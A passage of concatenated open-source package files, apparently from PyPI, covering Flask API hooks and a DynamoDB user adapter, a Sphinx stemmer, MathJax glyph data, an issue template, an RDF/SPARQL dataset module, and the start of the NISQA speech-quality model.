datamodel.get_pk_value(value), "value": str(value)}) return count, ret def _merge_update_item(self, model_item, data): """ Merge a model with a python data structure This is useful to turn PUT method into a PATCH also :param model_item: SQLA Model :param data: python data structure :return: python data structure """ data_item = self.edit_model_schema.dump(model_item, many=False).data for _col in self.edit_columns: if _col not in data.keys(): data[_col] = data_item[_col] return data """ ------------------------------------------------ PRE AND POST METHODS ------------------------------------------------ """ def pre_update(self, item): """ Override this, this method is called before the update takes place. """ pass def post_update(self, item): """ Override this, will be called after update """ pass def pre_add(self, item): """ Override this, will be called before add. """ pass def post_add(self, item): """ Override this, will be called after update """ pass def pre_delete(self, item): """ Override this, will be called before delete """ pass def post_delete(self, item): """ Override this, will be called after delete """ pass def pre_get(self, data): """ Override this, will be called before data is sent to the requester on get item endpoint. You can use it to mutate the response sent. Note that any new field added will not be reflected on the OpenApi spec. """ pass def pre_get_list(self, data): """ Override this, will be called before data is sent to the requester on get list endpoint. You can use it to mutate the response sent Note that any new field added will not be reflected on the OpenApi spec. """ pass
PypiClean
/Flask-User-AWS-1.0.1.7.tar.gz/Flask-User-AWS-1.0.1.7/flask_user/db_adapters/dynamo_db_adapter.py
from __future__ import print_function import pdb # Non-system imports are moved into the methods to make them an optional requirement from flask_user.db_adapters import DbAdapterInterface class DynamoDbAdapter(DbAdapterInterface): """ Implements the DbAdapter interface to find, add, update and delete database objects using Flask-Flywheel. """ def __init__(self, app, db): """Args: app(Flask): The Flask appliation instance. db(Flywheel): The Flywheel object-database mapper instance. | Example: | app = Flask(__name__) | db = Flywheel() | db_adapter = DynamoDbAdapter(app, db) """ # This no-op method is defined to show it in Sphinx docs in order 'bysource' super(DynamoDbAdapter, self).__init__(app, db) def add_object(self, object): """Add object to db session. Only for session-centric object-database mappers.""" if object.id is None: object.get_id() self.db.engine.save(object) def get_object(self, ObjectClass, id): """ Retrieve object of type ``ObjectClass`` by ``id``. | Returns object on success. | Returns None otherwise. """ print('dynamo.get(%s, %s)' % (ObjectClass, str(id))) resp = self.db.engine.get(ObjectClass, [id]) if resp: return resp[0] else: return None def find_objects(self, ObjectClass, **kwargs): """ Retrieve all objects of type ``ObjectClass``, matching the filters specified in ``**kwargs`` -- case sensitive. """ print('dynamo.find_objects(%s, %s)' % (ObjectClass, str(kwargs))) query = self.db.engine.query(ObjectClass) for field_name, field_value in kwargs.items(): # Make sure that ObjectClass has a 'field_name' property field = getattr(ObjectClass, field_name, None) if field is None: raise KeyError("DynamoDBAdapter.find_objects(): Class '%s' has no field '%s'." % (ObjectClass, field_name)) # Add a case sensitive filter to the query query = query.filter(field == field_value) # Execute query return query.all(desc=True) def find_first_object(self, ObjectClass, **kwargs): """ Retrieve the first object of type ``ObjectClass``, matching the filters specified in ``**kwargs`` -- case sensitive. ``find_first_object(User, username='myname')`` translates to ``User.query.filter(User.username=='myname').first()``. """ print('dynamo.find_first_object(%s, %s)' % (ObjectClass, str(kwargs))) query = self.db.engine.query(ObjectClass) for field_name, field_value in kwargs.items(): # Make sure that ObjectClass has a 'field_name' property field = getattr(ObjectClass, field_name, None) if field is None: raise KeyError("DynamoDBAdapter.find_first_object(): Class '%s' has no field '%s'." % (ObjectClass, field_name)) # Add a case sensitive filter to the query query = query.filter(field == field_value) # Execute query out = query.first(desc=True)#, attributes=['password']) return out def ifind_first_object(self, ObjectClass, **kwargs): """ Retrieve the first object of type ``ObjectClass``, matching the specified filters in ``**kwargs`` -- case insensitive. | If USER_IFIND_MODE is 'nocase_collation' this method maps to find_first_object(). | If USER_IFIND_MODE is 'ifind' this method performs a case insensitive find. """ # Call regular find() if USER_IFIND_MODE is nocase_collation if self.user_manager.USER_IFIND_MODE=='nocase_collation': return self.find_first_object(ObjectClass, **kwargs) raise NotImplementedError def save_object(self, object, **kwargs): """ Save object. Only for non-session centric Object-Database Mappers.""" self.db.engine.sync(object) def delete_object(self, object): """ Delete object specified by ``object``. """ #pdb.set_trace() self.db.engine.delete_key(object)#, userid='abc123', id='1') print('dynamo.delete_object(%s)' % object) #self.db.session.delete(object) def commit(self): """This method does nothing for DynamoDbAdapter. """ # pdb.set_trace() print('dynamo.commit()') #self.db.engine.sync() # self.db.session.commit() # Database management methods # --------------------------- def create_all_tables(self): """This method does nothing for DynamoDbAdapter.""" self.db.engine.create_schema() def drop_all_tables(self): """Drop all document collections of the database. .. warning:: ALL DATA WILL BE LOST. Use only for automated testing. """ self.db.engine.delete_schema()
PypiClean
/Mako-1.2.4.tar.gz/Mako-1.2.4/doc/_static/language_data.js
var stopwords = ["a", "and", "are", "as", "at", "be", "but", "by", "for", "if", "in", "into", "is", "it", "near", "no", "not", "of", "on", "or", "such", "that", "the", "their", "then", "there", "these", "they", "this", "to", "was", "will", "with"]; /* Non-minified version is copied as a separate JS file, is available */ /** * Porter Stemmer */ var Stemmer = function() { var step2list = { ational: 'ate', tional: 'tion', enci: 'ence', anci: 'ance', izer: 'ize', bli: 'ble', alli: 'al', entli: 'ent', eli: 'e', ousli: 'ous', ization: 'ize', ation: 'ate', ator: 'ate', alism: 'al', iveness: 'ive', fulness: 'ful', ousness: 'ous', aliti: 'al', iviti: 'ive', biliti: 'ble', logi: 'log' }; var step3list = { icate: 'ic', ative: '', alize: 'al', iciti: 'ic', ical: 'ic', ful: '', ness: '' }; var c = "[^aeiou]"; // consonant var v = "[aeiouy]"; // vowel var C = c + "[^aeiouy]*"; // consonant sequence var V = v + "[aeiou]*"; // vowel sequence var mgr0 = "^(" + C + ")?" + V + C; // [C]VC... is m>0 var meq1 = "^(" + C + ")?" + V + C + "(" + V + ")?$"; // [C]VC[V] is m=1 var mgr1 = "^(" + C + ")?" + V + C + V + C; // [C]VCVC... is m>1 var s_v = "^(" + C + ")?" + v; // vowel in stem this.stemWord = function (w) { var stem; var suffix; var firstch; var origword = w; if (w.length < 3) return w; var re; var re2; var re3; var re4; firstch = w.substr(0,1); if (firstch == "y") w = firstch.toUpperCase() + w.substr(1); // Step 1a re = /^(.+?)(ss|i)es$/; re2 = /^(.+?)([^s])s$/; if (re.test(w)) w = w.replace(re,"$1$2"); else if (re2.test(w)) w = w.replace(re2,"$1$2"); // Step 1b re = /^(.+?)eed$/; re2 = /^(.+?)(ed|ing)$/; if (re.test(w)) { var fp = re.exec(w); re = new RegExp(mgr0); if (re.test(fp[1])) { re = /.$/; w = w.replace(re,""); } } else if (re2.test(w)) { var fp = re2.exec(w); stem = fp[1]; re2 = new RegExp(s_v); if (re2.test(stem)) { w = stem; re2 = /(at|bl|iz)$/; re3 = new RegExp("([^aeiouylsz])\\1$"); re4 = new RegExp("^" + C + v + "[^aeiouwxy]$"); if (re2.test(w)) w = w + "e"; else if (re3.test(w)) { re = /.$/; w = w.replace(re,""); } else if (re4.test(w)) w = w + "e"; } } // Step 1c re = /^(.+?)y$/; if (re.test(w)) { var fp = re.exec(w); stem = fp[1]; re = new RegExp(s_v); if (re.test(stem)) w = stem + "i"; } // Step 2 re = /^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/; if (re.test(w)) { var fp = re.exec(w); stem = fp[1]; suffix = fp[2]; re = new RegExp(mgr0); if (re.test(stem)) w = stem + step2list[suffix]; } // Step 3 re = /^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/; if (re.test(w)) { var fp = re.exec(w); stem = fp[1]; suffix = fp[2]; re = new RegExp(mgr0); if (re.test(stem)) w = stem + step3list[suffix]; } // Step 4 re = /^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/; re2 = /^(.+?)(s|t)(ion)$/; if (re.test(w)) { var fp = re.exec(w); stem = fp[1]; re = new RegExp(mgr1); if (re.test(stem)) w = stem; } else if (re2.test(w)) { var fp = re2.exec(w); stem = fp[1] + fp[2]; re2 = new RegExp(mgr1); if (re2.test(stem)) w = stem; } // Step 5 re = /^(.+?)e$/; if (re.test(w)) { var fp = re.exec(w); stem = fp[1]; re = new RegExp(mgr1); re2 = new RegExp(meq1); re3 = new RegExp("^" + C + v + "[^aeiouwxy]$"); if (re.test(stem) || (re2.test(stem) && !(re3.test(stem)))) w = stem; } re = /ll$/; re2 = new RegExp(mgr1); if (re.test(w) && re2.test(w)) { re = /.$/; w = w.replace(re,""); } // and turn initial Y back to y if (firstch == "y") w = firstch.toLowerCase() + w.substr(1); return w; } }
PypiClean
/Mathics_Django-6.0.0-py3-none-any.whl/mathics_django/web/media/js/mathjax/jax/output/SVG/fonts/TeX/Main/Bold/LetterlikeSymbols.js
MathJax.Hub.Insert(MathJax.OutputJax.SVG.FONTDATA.FONTS["MathJax_Main-bold"],{8463:[694,8,668,45,642,"477 56Q477 48 479 46T490 43Q522 45 544 75T577 140Q582 156 585 159T605 162H611H622Q642 162 642 148Q642 138 632 114T602 62T550 13T478 -8Q429 -8 394 17T358 83Q358 95 395 199T433 350Q433 400 394 400H388H383Q335 400 291 363Q256 332 236 298Q233 293 202 170T169 40Q160 18 141 5T99 -8Q70 -8 58 9T45 39Q45 51 116 336L167 540H80V607H184L188 622H184Q183 622 179 622T169 623T157 624T146 624T136 624T131 625Q119 628 119 642Q119 647 123 661T129 679Q133 684 142 685T220 690Q293 694 307 694Q324 694 328 679Q328 673 311 607H494V540H294Q286 507 278 473T264 420L260 403Q260 400 269 408Q327 451 393 451H401H410Q425 451 439 450T476 442T515 424T544 391T556 337Q556 286 517 179T477 56"],8465:[702,8,831,64,798,"65 502Q65 564 99 611T174 680T250 701Q251 701 257 701T269 702Q319 702 374 680T466 633T542 578T592 542L602 538L621 537Q669 537 695 542T725 550T730 560Q732 570 736 572T756 575H764H777Q798 575 798 559Q798 535 780 519Q762 500 727 493T622 486Q532 486 483 504T386 572Q382 576 371 588T355 603T341 616T327 628T313 637T298 645T282 649T264 651Q215 651 174 609T132 501Q132 434 184 393T312 347Q327 346 330 343T333 322T330 301T312 296Q276 296 236 307T157 341T91 406T65 502ZM406 314Q406 351 427 378T480 418T541 437T598 443Q645 443 655 442Q722 435 760 407T798 338Q798 326 794 324T772 321H764Q739 321 734 325T729 341T717 365Q690 392 618 392H611Q586 392 572 366Q561 345 561 315Q561 291 577 275Q595 260 643 241T706 211Q747 186 747 140Q747 78 696 39Q667 15 617 1Q578 -8 480 -8H439Q379 -8 345 5T228 74Q182 105 152 119T86 137Q71 138 68 142T64 164Q64 175 64 177T68 184T78 188T99 188H151L226 187L238 185Q275 176 305 158T376 106T443 54Q478 31 489 31H490Q494 32 500 34T524 43T554 62T579 92T593 135Q593 162 575 179T533 204T479 225T432 255Q406 278 406 314"],8467:[702,19,474,-1,446,"245 -19Q228 -19 212 -16T184 -6T162 9T143 27T129 46T118 66T111 84T106 99T102 111L101 116L69 89L36 62Q31 60 24 62Q-1 88 -1 98Q-1 101 1 105Q1 106 73 170L95 189V197Q95 242 112 317T159 476T241 624T353 701Q357 702 367 702Q428 702 444 641Q446 630 446 606Q446 454 241 246L215 220L212 203Q203 150 203 114Q203 113 203 106T204 95T205 82T209 67T214 54T223 43T236 35T253 32Q277 32 305 44T352 70T389 98T407 112Q409 113 412 113Q420 113 432 95Q445 77 443 70Q440 64 416 44T342 3T245 -19ZM387 615Q387 651 366 651Q342 651 321 604T276 470L241 331Q246 331 280 373T350 486T387 615"],8472:[461,210,740,72,726,"399 159Q410 159 421 151T433 126Q433 104 410 85Q408 84 410 78Q411 72 414 66T428 51T455 43Q483 43 506 55T543 83T568 125T584 166T594 206Q595 211 596 214Q610 273 610 301Q610 365 542 365H538Q483 365 429 344T337 292T269 229T225 175T210 150L255 99Q261 92 274 78T292 58T305 41T316 22T321 3T324 -23Q324 -87 283 -148T174 -210H171Q161 -210 152 -209T128 -201T101 -180T81 -141T72 -78Q72 -72 72 -60T73 -45Q79 4 102 65L108 81Q84 117 84 167Q84 273 140 367T269 461Q285 461 285 447Q285 440 282 431Q278 418 276 415T264 410Q228 404 201 336T174 219Q174 218 176 202L184 214Q252 303 348 360T549 417Q614 417 658 391T719 317Q726 292 726 260Q726 148 646 70T451 -8Q407 -8 377 17T346 92Q346 159 396 159H399ZM178 -160Q200 -160 216 -132T232 -75Q232 -63 228 -56T203 -26Q196 -18 192 -14Q185 -5 176 5T161 20T156 27L153 28Q151 28 146 8T137 -42T132 -89Q132 -160 178 -160"],8476:[711,16,831,42,824,"133 87Q166 34 218 34Q232 34 238 47T247 99Q248 105 248 127Q248 135 248 144T247 169T245 239T243 382Q242 534 241 565T234 612Q219 651 190 651Q168 651 151 630T134 580Q134 565 148 548T178 516T209 468T223 394Q218 243 131 243Q102 243 84 266T64 319Q64 334 69 337T95 340Q117 340 121 337T126 317Q127 294 133 294Q140 294 146 318Q150 339 150 382L151 413Q141 437 103 485T64 572Q64 623 100 662T197 702Q235 702 273 684T339 634Q407 702 610 710Q615 710 630 710T651 711Q673 711 677 709Q682 706 753 578T824 444Q824 437 817 432Q799 420 758 399T686 361T654 344T657 289T665 177T670 115Q676 78 708 46L735 69Q762 93 769 93L807 73Q812 68 812 62Q812 57 805 51T759 18L710 -16H680H669Q617 -16 573 17Q527 52 515 114Q514 118 508 218T501 326V330H397V281Q397 197 384 135T327 28Q281 -16 223 -16H220Q180 -16 151 -7T107 18T86 46T78 68L74 67Q64 67 53 78T42 97Q42 106 51 109T60 114V119Q60 120 60 122L59 124Q59 129 64 135T78 149T91 160Q102 163 109 155Q115 133 119 133Q124 133 137 123T150 102Q150 98 146 94Q144 90 133 87ZM664 419L540 644H535Q517 644 487 637Q396 621 371 582L376 571Q396 512 397 435V392H494Q598 393 610 396Q611 397 615 398Q626 401 645 409T664 419"],8501:[694,0,703,64,638,"590 427Q581 427 579 433T575 450T568 470V468L532 288L541 281Q620 220 634 165L637 154V124Q637 74 628 46Q623 32 612 16T592 0Q580 0 578 19T569 69T538 121Q532 126 385 240T236 355Q234 355 231 338T225 291T222 237Q222 222 223 213T225 201T228 195T231 190Q238 179 261 160T300 119T316 73Q316 41 291 23T231 1Q226 0 149 0H98Q73 0 69 3T64 24Q64 43 67 47T85 51H89Q119 51 134 55T152 64T154 76Q154 95 125 141T96 220Q96 243 104 270T123 319T145 360T164 391T172 404T150 421T102 468T68 529L65 541V570Q65 620 74 648Q79 664 91 679T111 694Q122 694 123 675T132 625T164 573Q168 569 319 452T471 335Q471 337 486 409T502 488Q502 489 491 493T467 511T448 546V573Q448 602 452 624T462 659T474 680T486 691T493 694Q499 694 502 691T507 682T513 673Q517 667 534 651T557 630Q558 629 590 616T631 587Q638 577 638 543Q637 489 622 458T590 427"]});MathJax.Ajax.loadComplete(MathJax.OutputJax.SVG.fontDir+"/Main/Bold/LetterlikeSymbols.js");
PypiClean
/MaterialDjango-0.2.5.tar.gz/MaterialDjango-0.2.5/bower_components/paper-menu-button/.github/ISSUE_TEMPLATE.md
<!-- Instructions: https://github.com/PolymerElements/paper-menu-button/CONTRIBUTING.md#filing-issues --> ### Description <!-- Example: The `paper-foo` element causes the page to turn pink when clicked. --> ### Expected outcome <!-- Example: The page stays the same color. --> ### Actual outcome <!-- Example: The page turns pink. --> ### Live Demo <!-- Example: https://jsbin.com/cagaye/edit?html,output --> ### Steps to reproduce <!-- Example 1. Put a `paper-foo` element in the page. 2. Open the page in a web browser. 3. Click the `paper-foo` element. --> ### Browsers Affected <!-- Check all that apply --> - [ ] Chrome - [ ] Firefox - [ ] Safari 9 - [ ] Safari 8 - [ ] Safari 7 - [ ] Edge - [ ] IE 11 - [ ] IE 10
PypiClean
/Akamu-0.7.tar.gz/Akamu-0.7/lib/config/dataset.py
import os, akara, time from akara import registry from rdflib import plugin, URIRef, OWL, RDFS, RDF, BNode from rdflib.store import Store, NO_STORE from rdflib.Graph import Graph, ConjunctiveGraph from rdflib.store.SPARQL import GET,POST OWL_PROPERTIES_QUERY=\ """ SELECT ?literalProperty ?resourceProperty WHERE { { ?literalProperty a owl:DatatypeProperty } UNION { ?resourceProperty a ?propType FILTER( ?propType = owl:ObjectProperty || ?propType = owl:TransitiveProperty || ?propType = owl:SymmetricProperty || ?propType = owl:InverseFunctionalProperty ) } }""" def GetGraphStoreForProtocol(): configDict = akara.module_config() return configDict.get('graph_store_name'), configDict.get('graph_store_url') def GetExternalGraphStoreURL(): configDict = akara.module_config() return configDict.get('external_graph_store_url') def ConfigureTriclops(datasetName,nsBindings,litProps,resProps): """ Adapts akara configuration to Triclops configuration """ #ontGraph, #ruleSet, #definingOntology, #builtinTemplateGraph, #defaultDerivedPreds): datasetConfig = akara.module_config().get(datasetName) connectStr = 'user=%s,password=%s,db=%s,port=%s,host=%s' % ( datasetConfig.get('mysqluser'), datasetConfig.get('mysqlpw'), datasetConfig.get('mysqldb'), datasetConfig.get('mysqlPort',3306), datasetConfig.get('mysqlhost') ) triclopsConf = { 'result_xslt_directory' : akara.module_config().get('result_xslt_directory'), 'store_identifier' : datasetConfig.get('mysqlStoreId'), 'connection' : connectStr, 'store' : datasetConfig.get('type'), 'debugQuery' : akara.module_config().get('debugQuery',False), 'NO_BASE_RESOLUTION' : akara.module_config().get('NO_BASE_RESOLUTION',False), 'IgnoreQueryDataset' : akara.module_config().get('IgnoreQueryDataset',False), 'MYSQL_ORDER' : datasetConfig.get('MYSQL_ORDER',False), 'endpointURL' : akara.module_config().get('endpointURL'), } proxy = None# @@TODO: Add support for proxies global_conf.get('sparql_proxy') nsBindings = dict([ (k,URIRef(v)) for k,v in akara.module_config().get("nsPrefixes",{}).items()]) dataStoreOWL = akara.module_config().get('datastore_owl') dataStoreOntGraph = Graph() if not proxy and datasetConfig.get('type') == 'MySQL': litProps.update(OWL.literalProperties) litProps.update(RDFS.literalProperties) resProps.update(RDFS.resourceProperties) litProps.update( map(URIRef,akara.module_config().get("sqlLiteralProps",[])) ) resProps.update( map(URIRef,akara.module_config().get("sqlResourceProps",[])) ) if dataStoreOWL: for dsOwl in dataStoreOWL.split(','): dataStoreOntGraph.parse(dsOwl) for litProp,resProp in dataStoreOntGraph.query(OWL_PROPERTIES_QUERY, initNs={u'owl':OWL_NS}): if litProp: litProps.add(litProp) if resProp: #Need to account for OWL Full, where datatype properties #can be IFPs if (resProp, RDF.type, OWL.DatatypeProperty) not in dataStoreOntGraph: resProps.add(resProp) else: triclopsConf['datastore_owl'] = 'N/A' print "Registered %s owl:DatatypeProperties"%len(litProps) print "Registered %s owl:ObjectProperties"%len(resProps) if False:# @@TODO support for SPARQL RIF Core entailment global_conf.get('topDownEntailment',False): pass # from FuXi.DLP.DLNormalization import NormalFormReduction # from FuXi.DLP import DisjunctiveNormalForm # from FuXi.Horn.HornRules import HornFromDL, HornFromN3, Ruleset # from FuXi.Syntax.InfixOWL import * # from FuXi.Horn import DATALOG_SAFETY_STRICT # from FuXi.Rete.Magic import IdentifyDerivedPredicates # complementExpanded =[] # _ruleSet = Ruleset() # if global_conf.get('SkipComplementExpansion'): # for kvStr in global_conf.get('SkipComplementExpansion').split('|') : # pref,uri=kvStr.split(':') # complementExpanded.append(URIRef(nsBindings[pref]+uri)) # # definingOntology = global_conf.get('entailment_owl') # for ont in definingOntology.split(','): # if os.path.exists(ont): # ontGraphPath = OsPathToUri(ont) # else: # ontGraphPath = ont # print >>sys.stderr, "Parsing Semantic Web root Graph.. ", ontGraphPath # for owlImport in ontGraph.parse(ontGraphPath).objects(predicate=OWL_NS.imports): # ontGraph.parse(owlImport) # print >>sys.stderr, "Parsed Semantic Web Graph.. ", owlImport # # for prefix,uri in nsBindings.items(): # ontGraph.bind(prefix,uri) # # builtins = global_conf.get('builtins') # if global_conf.get('entailment_n3'): # #setup rules / builtins # if builtins: # import imp # userFuncs = imp.load_source('builtins', builtins) # rs = HornFromN3(global_conf.get('entailment_n3'), # additionalBuiltins=userFuncs.ADDITIONAL_FILTERS) # else: # rs = HornFromN3(global_conf.get('entailment_n3')) # print "Parsed %s rules from %s"%(len(rs.formulae),global_conf.get('entailment_n3')) # _ruleSet.formulae.extend(rs) # # #Setup builtin template graph # builtinTemplates = global_conf.get('builtinTemplates',False) # if builtinTemplates: # builtinTemplateGraph.parse(builtinTemplates,format='n3') # #setup ddl graph # ddlGraph = global_conf.get('ddlGraph') # if ddlGraph: # ddlGraph = Graph().parse(ddlGraph, # format='n3') # print "Registering DDL metadata" # defaultDerivedPreds.extend( # IdentifyDerivedPredicates( # ddlGraph, # ontGraph, # _ruleSet)) # #Reduce the DL expressions to a normal form # NormalFormReduction(ontGraph) # #extract rules form normalized ontology graph # dlp=HornFromDL(ontGraph, # derivedPreds=defaultDerivedPreds, # complSkip=complementExpansion(ontGraph)) # _ruleSet.formulae.extend(dlp) # #normalize the ruleset # ruleSet.formulae.extend(set(DisjunctiveNormalForm(_ruleSet,safety=DATALOG_SAFETY_STRICT))) return triclopsConf def ReplaceGraph(datasetOrName, graphUri, srcStream, format='xml', storeName=True, baseUri=None, smartDiff=False, debug=False): #TODO: do a lazy replace (only the diff - ala 4Suite repository) store = ConnectToDataset(datasetOrName) if storeName else datasetOrName g = Graph(store, graphUri) if smartDiff: def hasBNodes(triple): return filter(lambda term:isinstance(term,BNode),triple) new_graph = Graph().parse(srcStream,publicID=baseUri) stmsToAdd = [ s for s in new_graph if s not in g or hasBNodes(s) ] stmsToDel = [ s for s in g if s not in new_graph or hasBNodes(s) ] for s in stmsToDel: g.remove(s) for s in stmsToAdd: g.add(s) if debug: print "Removed %s triples and added %s from/to %s"%( len(stmsToDel), len(stmsToAdd), graphUri ) else: g.remove((None, None, None)) g.parse(srcStream,publicID=baseUri) store.commit() def ClearGraph(datasetOrName,graphUri,storeName=True): #TODO: do a lazy replace (only the diff - ala 4Suite repository) store = ConnectToDataset(datasetOrName) if storeName else datasetOrName g = Graph(store, graphUri) g.remove((None, None, None)) store.commit() def DestroyOrCreateDataset(datasetName): """ Initialize dataset (if exists) or create it if it doesn't """ datasetConfig = akara.module_config().get(datasetName) assert datasetConfig is not None, datasetName if datasetConfig['type'] == 'MySQL': configStr = 'user=%s,password=%s,db=%s,port=%s,host=%s' % ( datasetConfig.get('mysqluser'), datasetConfig.get('mysqlpw'), datasetConfig.get('mysqldb'), datasetConfig.get('mysqlPort',3306), datasetConfig.get('mysqlhost') ) store = plugin.get('MySQL', Store)(datasetConfig.get('mysqlStoreId')) rt = store.open(configStr,create=False) if rt == NO_STORE: store.open(configStr,create=True) else: store.destroy(configStr) store.open(configStr,create=True) return store else: raise NotImplementedError("Only dataset supported by Akamu is MySQL") def ConnectToDataset(datasetName): """ Return rdflib store corresponding to the named dataset, whose connection parameters are specified in the configuration file """ datasetConfig = akara.module_config().get(datasetName) assert datasetConfig is not None if datasetConfig['type'] == 'MySQL': configStr = 'user=%s,password=%s,db=%s,port=%s,host=%s' % ( datasetConfig.get('mysqluser'), datasetConfig.get('mysqlpw'), datasetConfig.get('mysqldb'), datasetConfig.get('mysqlPort',3306), datasetConfig.get('mysqlhost') ) store = plugin.get('MySQL', Store)(datasetConfig.get('mysqlStoreId')) store.open(configStr, create=False) store.literal_properties.update( map(URIRef,akara.module_config().get("sqlLiteralProps",[])) ) store.resource_properties.update( map(URIRef,akara.module_config().get("sqlResourceProps",[])) ) return store elif datasetConfig['type'] == 'SPARQLService': if 'endpoint' not in datasetConfig: raise SyntaxError('Missing "endpoint" directive') sparql_store = plugin.get('SPARQL', Store)(datasetConfig.get('endpoint')) for k,v in datasetConfig.get('extraQueryParams',{}).items(): sparql_store._querytext.append((k,v)) sparql_store.method = POST if datasetConfig.get( 'method','GET').lower() == 'post' else GET return sparql_store else: raise NotImplementedError("Only dataset supported by Akamu is MySQL") def Ask(queryFile,datasetName,graphUri=None,params=None,debug=False): """ Same as Query but where query is ASK (returns boolean) """ store = ConnectToDataset(datasetName) g = ConjunctiveGraph(store) if graphUri is None else Graph(store,graphUri) qFile = os.path.join(akara.module_config().get("sparqlQueryFiles"),queryFile) query = open(qFile).read() query = query if params is None else query % params if debug: print query initNs = dict([ (k,URIRef(v)) for k,v in akara.module_config().get("nsPrefixes",{}).items()]) if debug: then = time.time() rt = g.query(query,initNs=initNs,DEBUG=debug).serialize(format='python') print "Query time", time.time() - then else: rt = g.query(query,initNs=initNs,DEBUG=debug).serialize(format='python') return rt def Query(queryFile,datasetName,graphUri=None,params=None,debug=False): """ Evaluate a query (stored in a SPARQL file in the location indicated in the configuration) against the given dataset (and optional named graph within it) using the optional parameters given """ store = ConnectToDataset(datasetName) g = ConjunctiveGraph(store) if graphUri is None else Graph(store,graphUri) qFile = os.path.join(akara.module_config().get("sparqlQueryFiles"),queryFile) query = open(qFile).read() query = query if params is None else query % params if debug: print query initNs = dict([ (k,URIRef(v)) for k,v in akara.module_config().get("nsPrefixes",{}).items()]) for rt in g.query( query, initNs=initNs, DEBUG=debug): yield rt def GetParameterizedQuery(queryFile,params=None): qFile = os.path.join(akara.module_config().get("sparqlQueryFiles"),queryFile) query = open(qFile).read() return query if params is None else query % params
PypiClean
/AlgorithmLib-4.0.3.tar.gz/AlgorithmLib-4.0.3/algorithmLib/MOS_INFER/NISQA_lib.py
import os import multiprocessing import copy import math import librosa as lb import numpy as np import pandas as pd; pd.options.mode.chained_assignment = None import matplotlib.pyplot as plt from tqdm import tqdm from scipy.stats import pearsonr, spearmanr from scipy.optimize import minimize import torch import torch.nn as nn import torch.nn.functional as F from torch.nn.utils.rnn import pad_packed_sequence from torch.nn.utils.rnn import pack_padded_sequence from torch.utils.data import DataLoader from torch.utils.data import Dataset import sys,os from os import path #%% Models # class NISQA(nn.Module): ''' NISQA: The main speech quality model without speech quality dimension estimation (MOS only). The module loads the submodules for framewise modelling (e.g. CNN), time-dependency modelling (e.g. Self-Attention or LSTM), and pooling (e.g. max-pooling or attention-pooling) ''' def __init__(self, ms_seg_length=15, ms_n_mels=48, cnn_model='adapt', cnn_c_out_1=16, cnn_c_out_2=32, cnn_c_out_3=64, cnn_kernel_size=3, cnn_dropout=0.2, cnn_pool_1=[24,7], cnn_pool_2=[12,5], cnn_pool_3=[6,3], cnn_fc_out_h=None, td='self_att', td_sa_d_model=64, td_sa_nhead=1, td_sa_pos_enc=None, td_sa_num_layers=2, td_sa_h=64, td_sa_dropout=0.1, td_lstm_h=128, td_lstm_num_layers=1, td_lstm_dropout=0, td_lstm_bidirectional=True, td_2='skip', td_2_sa_d_model=None, td_2_sa_nhead=None, td_2_sa_pos_enc=None, td_2_sa_num_layers=None, td_2_sa_h=None, td_2_sa_dropout=None, td_2_lstm_h=None, td_2_lstm_num_layers=None, td_2_lstm_dropout=None, td_2_lstm_bidirectional=None, pool='att', pool_att_h=128, pool_att_dropout=0.1, ): super().__init__() self.name = 'NISQA' self.cnn = Framewise( cnn_model, ms_seg_length=ms_seg_length, ms_n_mels=ms_n_mels, c_out_1=cnn_c_out_1, c_out_2=cnn_c_out_2, c_out_3=cnn_c_out_3, kernel_size=cnn_kernel_size, dropout=cnn_dropout, pool_1=cnn_pool_1, pool_2=cnn_pool_2, pool_3=cnn_pool_3, fc_out_h=cnn_fc_out_h, ) self.time_dependency = TimeDependency( input_size=self.cnn.model.fan_out, td=td, sa_d_model=td_sa_d_model, sa_nhead=td_sa_nhead, sa_pos_enc=td_sa_pos_enc, sa_num_layers=td_sa_num_layers, sa_h=td_sa_h, sa_dropout=td_sa_dropout, lstm_h=td_lstm_h, lstm_num_layers=td_lstm_num_layers, lstm_dropout=td_lstm_dropout, lstm_bidirectional=td_lstm_bidirectional ) self.time_dependency_2 = TimeDependency( input_size=self.time_dependency.fan_out, td=td_2, sa_d_model=td_2_sa_d_model, sa_nhead=td_2_sa_nhead, sa_pos_enc=td_2_sa_pos_enc, sa_num_layers=td_2_sa_num_layers, sa_h=td_2_sa_h, sa_dropout=td_2_sa_dropout, lstm_h=td_2_lstm_h, lstm_num_layers=td_2_lstm_num_layers, lstm_dropout=td_2_lstm_dropout, lstm_bidirectional=td_2_lstm_bidirectional ) self.pool = Pooling( self.time_dependency_2.fan_out, output_size=1, pool=pool, att_h=pool_att_h, att_dropout=pool_att_dropout, ) def forward(self, x, n_wins): x = self.cnn(x, n_wins) x, n_wins = self.time_dependency(x, n_wins) x, n_wins = self.time_dependency_2(x, n_wins) x = self.pool(x, n_wins) return x # class NISQA_MULTITASK(nn.Module): ''' NISQA_DIM: The main speech quality model with speech quality dimension estimation (MOS, Noisiness, Coloration, Discontinuity, and Loudness). The module loads the submodules for framewise modelling (e.g. CNN), time-dependency modelling (e.g. Self-Attention or LSTM), and pooling (e.g. max-pooling or attention-pooling) ''' def __init__(self, ms_seg_length=15, ms_n_mels=48, cnn_model='adapt', cnn_c_out_1=16, cnn_c_out_2=32, cnn_c_out_3=64, cnn_kernel_size=3, cnn_dropout=0.2, cnn_pool_1=[24, 7], cnn_pool_2=[12, 5], cnn_pool_3=[6, 3], cnn_fc_out_h=None, td='self_att', td_sa_d_model=64, td_sa_nhead=1, td_sa_pos_enc=None, td_sa_num_layers=2, td_sa_h=64, td_sa_dropout=0.1, td_lstm_h=128, td_lstm_num_layers=1, td_lstm_dropout=0, td_lstm_bidirectional=True, td_2='skip', td_2_sa_d_model=None, td_2_sa_nhead=None, td_2_sa_pos_enc=None, td_2_sa_num_layers=None, td_2_sa_h=None, td_2_sa_dropout=None, td_2_lstm_h=None, td_2_lstm_num_layers=None, td_2_lstm_dropout=None, td_2_lstm_bidirectional=None, pool='att', pool_att_h=128, pool_att_dropout=0.1, ): super().__init__() self.name = 'NISQA_MULTITASK' self.cnn = Framewise( cnn_model, ms_seg_length=ms_seg_length, ms_n_mels=ms_n_mels, c_out_1=cnn_c_out_1, c_out_2=cnn_c_out_2, c_out_3=cnn_c_out_3, kernel_size=cnn_kernel_size, dropout=cnn_dropout, pool_1=cnn_pool_1, 